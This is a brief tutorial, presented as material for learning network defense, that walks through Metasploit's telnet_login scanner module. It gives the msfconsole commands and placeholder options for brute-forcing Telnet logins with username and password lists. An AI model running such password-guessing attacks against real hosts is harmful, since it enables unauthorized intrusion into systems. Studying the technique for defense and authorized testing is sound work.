Using the telnet_login module of msf for Telnet password cracking.
This article is only for learning purposes in network information defense.
msf > use auxiliary/scanner/telnet/telnet_login
<ip>: Target host
msf > set RHOSTS <ip>
<username>: Set the username directly if it is known
msf > set USERNAME <username>
<dic>: Set the username dictionary file if the username is unknown
msf > set USER_FILE <dic>
<password>: Set the password directly if it is known
msf > set PASSWORD <password>
<dic>: Set the password dictionary file if the password is unknown
msf > set PASS_FILE <dic>
<num>: Number of threads
msf > set THREADS <num>
msf > exploit